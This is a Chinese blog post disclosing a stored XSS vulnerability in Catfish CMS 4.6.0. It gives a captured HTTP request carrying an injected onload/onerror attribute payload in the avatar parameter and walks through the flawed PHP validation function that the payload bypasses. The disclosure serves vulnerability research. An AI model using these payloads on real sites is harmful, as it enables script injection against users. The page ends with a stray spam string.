?

Nov 19 2017

鯰魚CMS存儲XSS漏洞披露

首頁 » 漏洞收集 » 鯰魚CMS存儲XSS漏洞披露   

Catfish(鯰魚) CMS是一款開源的PHP內容管理系統。這個cms是十月我和學長小胡子一起審計的。所以在這里聲明下,洞是他找的,他不善言辭,授權給我來寫文章。漏洞已提交給廠商,同意公開此漏洞。

XSS漏洞點

這里的版本是V4.6.0。出問題的地方是頭像上傳這個地方,這個cms以前爆過一枚任意文件刪除漏洞也是這里。

  1. 先注冊一個普通用戶
  2. 登錄,上傳一張頭像。
  3. 上傳成功后開啟抓包,點擊“頭像保存”。

1.jpg

抓到數據如下

2.jpg


修改

POST /daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 139 Referer: http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html Cookie: think_var=zh-cn; PHPSESSID=uo2u29h3sf9er6bj9f3d36rj80 Connection: close Upgrade-Insecure-Requests: 1 avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/022d804c4ea9af66c1a1f901d7c0b6a1.png" onload="alert(1)" a="1.jpg&fileselect%5B%5D= 

回顯

3.png



相關代碼跟進

CatfishCMS-4.6.0/application/admin/controller/Index.php頁面代碼,96行

4.jpg




這個函數對傳入的avatar參數進行檢驗,繼續跟進

位于CatfishCMS-4.6.0/application/admin/controller/Common.php頁面,313行


protected function isLegalPicture($picture) { if(stripos($picture,'>') === false) { $pathinfo = pathinfo($picture); if(isset($pathinfo['extension'])) { if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif']) && stripos($pathinfo['dirname'],'/data/') !== false) { return true; } } } return false; }



三個限制:

  1. 參數不能含有 “>”
  2. 要以jpeg,jpg,png,gif 結尾
  3. 要含有 “/data/” 路徑

觀察原來輸出點,是以雙引號進行閉合,觸發事件可以onload或者onerror或者其他,以.jpg結尾。所以我們payload為:

avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png" onerror="alert(2)" a="1.jpg

一點感悟

最近看到大佬們在微博說的幾句: 如果某個地方爆出了洞,就可以往這個地方深挖。因為最后講道理程序會出問題不僅僅是代碼的問題,而是人的問題。

*本文原創作者:Deen,屬于FreeBuf原創獎勵計劃,禁止轉載



如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: 鯰魚cms 鯰魚漏洞

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «PHP滲透中的奇淫技巧--檢查相等時的漏洞 | Masscan及Nmap實現對阿里云ECS的外網端口監控»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖